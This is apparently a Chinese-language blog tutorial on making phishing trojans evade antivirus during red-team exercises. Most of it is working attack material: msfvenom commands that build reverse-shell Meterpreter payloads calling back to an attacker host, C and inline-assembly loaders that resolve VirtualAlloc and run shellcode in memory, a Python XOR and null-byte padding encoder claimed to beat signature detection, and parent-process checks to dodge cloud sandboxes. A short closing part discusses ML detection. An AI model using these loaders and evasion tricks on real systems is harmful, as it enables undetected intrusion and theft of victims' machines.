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实战演习中,攻击方需要通过各种手段对企业的相关资产进行渗透,挖掘企业资产里存在的漏洞进行得分。近年来这种漏洞挖掘的攻防比赛好像都以web方面为主,可能web中存在的漏洞较多,得分点也较多。

不过,除web之外,APT攻击也是一种不错的攻击手法,运气好的话直接进入内网。在APT攻击中,用得较多的大概就是钓鱼邮件了。而钓鱼的成功与否与钓鱼文案的诱人程度以及木马的免杀是否到位有着密切的关系。下面介绍常见的一些免杀技巧。

0x1 shellcode动态加载

Shellcode中的代码较为敏感,如果代码中有太多的攻击代码,很容易会被杀软抓到特征进行查杀,而且这种方式做免杀很不好做。所以我们需要将主要的攻击代码单独的编译并静态的存储在数据段中,代码块中只保留一些人畜无害的代码,然后在程序执行的时候申一处可执行的内存,再将这块攻击代码拷贝到申请的内存中执行,这样才能够尽量降低被查杀的概率。那么问题来了,shellcode如何生成呢?大佬可以自己编写;如果为了方便,可以使用msf生成。一般的生成payload 命令可参考如下代码:

1、

    msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 12 -b "\x00" LHOST=[your remote ip addres] LPORT=[listening port] -f c >hacker.c

    2、

      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b "\x00" LHOST=[your remote ip addres] LPORT=[listening port] -f c >hacker.c

      3、

        msfvenom -p windows/meterpreter/reverse_tcp_rc4 -e x86/shikata_ga_nai -i 12 -b "\x00" LHOST=[your remote ip addres] LPORT=[listening port] -f c >hacker.c

        这里提供使用msf生成shellcode的例子,其中使用revers_tcp_rc4可以对会话进行加密,对免杀有一定帮助。这里我们生成的是一串16进制的字节数组,我们可以将它加入到我们的vs项目中,在程序运行的时候进行动态加载即可执行shellcode。

        0x2 敏感API动态调用

        有一些杀软会对IAT(Import Address Table,即导入地址表,顾名思义,iat表中存放着程序中调用的来自外部动态链接库的函数地址)表中的一些敏感函数做检查。比如Fireeye。经过代码定位排查后发现,Fireeye会对virtualalloc这个函数进行校验。Virtualalloc函数的作用是申请内存,而这里我们之所以用到Virtualalloc的一个原因是,我们需要设置内存的可执行属性,这一点很重要,如果我们shellcode拷贝到的内存块没有执行权限的话,那么我们的shellcode是无法执行的。

        那么我们要如何bypass Fireeye的检测呢?这里的解决办法是,通过动态调用API函数的方式来调用Virtualalloc函数。具体的做法是,load kernel32.dll库,从kernel32库中取得virtualalloc函数在内存中的地址,然后执行。这部分的功能可以通过下面的代码实现:

          HMODULE hModule =LoadLibrary(_T("Kernel32.dll"));

          HANDLE shellcode_handler; FARPROC Address = GetProcAddress(hModule,"VirtualAlloc");//拿到virtualalloc的地址 _asm { push 40h //push传参push 1000h push 29Ah push 0 call Address //函数调用movshellcode_handler, eax } memcpy(shellcode_handler, newshellcode,sizeof newshellcode); ((void(*)())shellcode_handler)();

          这样在iat表中就不会出现virtualalloc这个函数的地址了。但是,我们解决了virtualloc这个麻烦之后,有一个麻烦出现了。我们在动态调用virtualalloc时使用了loadLibrary这个函数,蛋疼的是有的杀毒公司会将loadLibrary函数视为敏感的函数,比如俄罗斯的VBA32。但是,将loadLibrary函数作为查杀的依据,这未免也太野蛮了。

          不过,如果要解的话,或许可以用下virtualprotect函数,直接修改数据段的可执行属性,然后在程序执行的时候直接跳转到这个内存地址上去执行。

          那么问题又来了,virtualprotect这个函数应该也是不少杀软狠盯的api吧。所以,最终还是要解决下loadLibrary函数这个问题。其实,加载kernel32.dll不一定要用loadLibrary,还可以直接从PEB中获取到kernel32的地址。

          具体代码实现如下:

            _asm { mov esi, fs:[0x30]//得到PEB地址 mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址 mov esi, [esi + 0x1c]//一个双向链表的地址 mov esi, [esi]//得到第二个条目kernelBase的链表 mov esi, [esi]//得到第三个条目kernel32链表(win10) mov esi, [esi + 0x8] //kernel32.dll地址 mov hModule, esi }

            实测,这种方式是可以过掉vba32的检测的,但是毕竟这种写法不常用,大部分病毒才会这么写,所以一些杀软查杀这部分内容,比如飞塔公司的杀毒引擎就可以对上面这段代码进行检测。不过这种检测的方法基本上是针对机器码模式匹配的,所以要绕过也不难,只要在指令中添加一些nop指令即可,即:

              _asm { mov esi, fs:[0x30]//得到PEB地址 NOP NOP NOP NOP mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址 NOP NOP NOP NOPmov esi, [esi + 0x1c]//一个双向链表的地址 NOP NOP NOPNOPmov esi, [esi]//得到第二个条目kernelBase的链表 NOP NOP NOPNOP mov esi, [esi]//得到第三个条目kernel32链表(win10) NOP NOP NOP NOPmov esi, [esi + 0x8] //kernel32.dll地址 NOP NOP NOP NOPmov hModule, esi }

              0x3 shellcode加密

              免杀效果好不好,最主要的是shellcode的加密了。那么,杀软是如何找到我们的shellcode呢?又是如何对我们的shellcode进行查杀的呢?为什么我的shellcode加密了还是会被查杀呢?

              我们来看下编译后的shellcode在pe文件中是什么样子的。首先我们知道,字符串数组初始化的内容是存放在PE文件的rdata节区中的。下面是ida视图:

              其对应的pe文件的hex信息如下:

              从B8开始往下665字节即我们的shellcode。杀毒软件应该就是在这里寻找的字符串特征值。

              我们看下这个shellcode是在哪里进行引用的:

              我们可以看到,这里有一个字符串拷贝的操作,即从&unk_402108这个地址处的开始,拷贝0xa65个字节到v15这个地址处。0xa65即十进制2661,正好是我们的shellcode长度+一个‘\0’字符,即2660+1。而这里0x229即十进制665,是我们的解密之后的shellcode的长度。

              这里是解密代码:

              相应的加密代码是:

                defgenerate_payload(shellcode): ba=bytearray(shellcode) newshellcode=[] res="" for b in ba: nchar="\\" b=b^113^0x77 b=hex(b) for i in range(1,len(b)): nchar=nchar+b[i] res=res+nchar newshellcode.append(nchar) trash="\\x00" nnshellcode=[] for i in range(4*len(newshellcode)): if i%4==0: #ou nnshellcode.append(newshellcode[int(i/4)]) else: nnshellcode.append(trash) fres="" for i in nnshellcode: fres=fres+i print(fres)

                简要说明下加密代码,这里是先将shellode和113以及0x77进行异或,再在shellcode中相邻的两个字节中填充三个\x00(空字节)。实测,这种方式是可以过掉所有的meterpreter payload的检测的。

                我个人猜测杀软应该是收集了一大波的meterpreter的hex特征,作为恶意攻击代码的识别依据。他们可能会对这些特征代码进行进一步异或变形,进而匹配到更多的潜在的攻击代码。

                所以,网上那些异或一下,十行代码就免杀的攻略肯定不靠谱,最多免杀一两天。而在相邻的字节中间插入\x00,就能有效避开那些hex特征码。很多杀软一般不至于将一堆的空字节作为查杀依据。

                这里为什么要用\x00,而不用其它的呢?我的考虑是,杀软收集的那些特征码可能跟多的是ef 11 3a ed这种连续的非空字节,而ef 00 00 00这种一般是不会拿来作为特征码的。那么随机的在两个字节中填充自定义的字节,比如 a1 a2 a3 a4呢,这种情况是有一定概率被匹配到的,毕竟杀软的特征库很庞大,就算误报几个也很正常。所以,综合考虑还是填充空字节更好。

                然而我还是太天真,现在的杀软不仅仅是基于这些特征值匹配的。昨天信心满满的空字节填充免杀之后,今天又被360杀了。

                那么到底是什么原因免杀的呢?我猜应该是virustotal上的这些引擎对扫描的检测结果彼此之间是有共享的,或者说有些杀软会先比对本地特征库,比对不到的话直接上传到virustotal,让virustotal分析一波,如果报毒的话,再对样本特征进行提取。当然某些杀软不会傻到直接md5存库里结束,还是会做一些相似度分析。

                依据在哪里?之前的00填充的马被杀后,我将原来payload进行了异或变异,结果还是被杀,按理说如果是md5特征比对的话,肯定是杀不了的,所以肯定是做了相似度分析了,我原来的shellcode是将原来相邻的两个字节填充上3个空字节。它的相似度分析应该是将我的shellcode进行了多次异或,然后取特征值。

                为了验证我的想法,我将00空字节的填充位数改为9个,果然又免杀了。本来我想着,既然能够知道样本是病毒,那么为什么不对其中的结构特征进行识别呢?难道这些payload只是做异或加密?rsa和des就不说了,一些古典加密算法也有可能哈。我觉得最起码要对这些shellcode中的一些常见结构特征进行识别吧,比如shellcode的每一个字节是以等差数列或者其他形式进行存储的,我们就可以对这种结构做一个特征识别。

                为什么要做结构识别?这工作量不是很大吗?有多少种可能的结构。其实我觉得,最起码要识别出在一片连续的区域内存在着一种特殊的情况,那就是一个字节和另一个字节之间相隔了多个相同的字节,这种情况下就很可能就是被垃圾数据填充的shellcode。而且这些数据填充相同的字节,是为了防止被类似yara或者clamav这种静态hex特征匹配到,这是误报,很冤。所以,我觉得可以将这些填充的特征码去掉,然后将这些去掉垃圾数据的特征码再进一步进行组合。

                0x4 虚拟机反调试

                那么问题来了,如何对抗云沙箱的检测呢?我们知道,很多杀软都有自己的后端云沙箱,这些沙箱能够模拟出软件执行所需的运行环境,通过进程hook技术来对软件执行过程中的行为进行分析,判断其是否有敏感的操作行为,或者更高级的检测手法是,将获取到的程序的API调用序列以及其他的一些行为特征输入到智能分析引擎中(基于机器学习org)进行检测。所以,如果我们的木马没有做好反调试,很容易就被沙箱检测出来。

                目前这个马只有9k大小,完全有可能被上传到云端的沙箱里检测。所以,我们还需要做一些反调试的操作,阻碍云沙箱的行为检测。最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是explore。如果一个程序的父进程不是explore,那么我们就可以认为它是由沙箱启动的。那么我们就直接exit退出,这样,杀软就无法继续对我们进行行为分析了。具体的实现代码如下:

                  DWORD get_parent_processid(DWORD pid){ DWORD ParentProcessID = -1; PROCESSENTRY32 pe; HANDLE hkz; HMODULE hModule = LoadLibrary(_T("Kernel32.dll")); FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot"); if (Address == NULL) { OutputDebugString(_T("Get Proc error")); return -1; } _asm { push 0 push 2 call Address mov hkz, eax } pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hkz, &pe)) { do { if (pe.th32ProcessID == pid) { ParentProcessID = pe.th32ParentProcessID; break; } } while (Process32Next(hkz, &pe)); } return ParentProcessID;}DWORD get_explorer_processid(){ DWORD explorer_id = -1; PROCESSENTRY32 pe; HANDLE hkz; HMODULE hModule = LoadLibrary(_T("Kernel32.dll")); if (hModule == NULL) { OutputDebugString(_T("Load dll error")); return -1; } FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

                  if (Address == NULL) { OutputDebugString(_T("Get Proc error")); return -1; } _asm { push 0 push 2 call Address mov hkz, eax } pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hkz, &pe)) { do { if (_stricmp(pe.szExeFile, "explorer.exe") == 0) { explorer_id = pe.th32ProcessID; break; } } while (Process32Next(hkz, &pe)); } return explorer_id;}void domain() { DWORD explorer_id = get_explorer_processid(); DWORD parent_id = get_parent_processid(GetCurrentProcessId()); if (explorer_id == parent_id)//判断父进程id是否和explorer进程id相同 { dowork(); } else { exit(1); }}

                  这里主要的思路是获取调用kernel32库中的CreateToolhelp32Snapshot函数获得一个进程快照信息,然后从快照中获取到explorer.exe的进程id信息,然后通过当前进程的pid信息在进程快照中找到其父进程的id信息,最后将两者进行比较,判断当前进程是否是有人工启动的。当然,反调试的措施不仅仅是检测父进程,还可以通过调用windows的API接口IsDebuggerPresent来检查当前进程是否正在被调试。检测反调试的话,还可以通过检查进程堆的标识符号来实现,系统创建进程时会将Flags置为0x02(HEAP_GROWABLE),将ForceFlags置为0。但是进程被调试时,这两个标志通常被设置为0x50000062h和0x40000060h。另外我们还可以使用特权指令 in eax,dx进行免杀。

                  最后秀一下在virustotal上检测的成绩:

                  0x5 后记

                  当然,随着病毒检测技术的不断改进,现在的病毒检测技术已经引入了一些机器学习的技术了,比如使用二类支持向量机对正常软件和恶意软件进行分类,以及使用多类支持向量机对蠕虫、病毒、木马和正常软件进行分类等等。

                  这种利用机器学习来对病毒进行检测的技术前提是需要收集整理足够数量的样本的特征数据,比如针对注册表的行为、开机自启动的行为、隐藏和保护自身的行为、进程行为、文件行为以及网络行为等等,一般来说,这些行为特征是可以体现在程序的API调用序列中的。

                  所以,很多学术论文中会以程序的API调用序列作为主要的行为特征训练集,通过不断优化算法,相信这种通过海量数据训练而获得的病毒查杀能力的技术应该会是之后杀毒引擎的主要方向。但是魔高一尺,道高一丈,我觉得免杀和查杀之间应该是一种相生相克相互促进的关系,这几天也就算初窥免杀之门吧,相信还有更多高级的免杀手法等待我们去发现。

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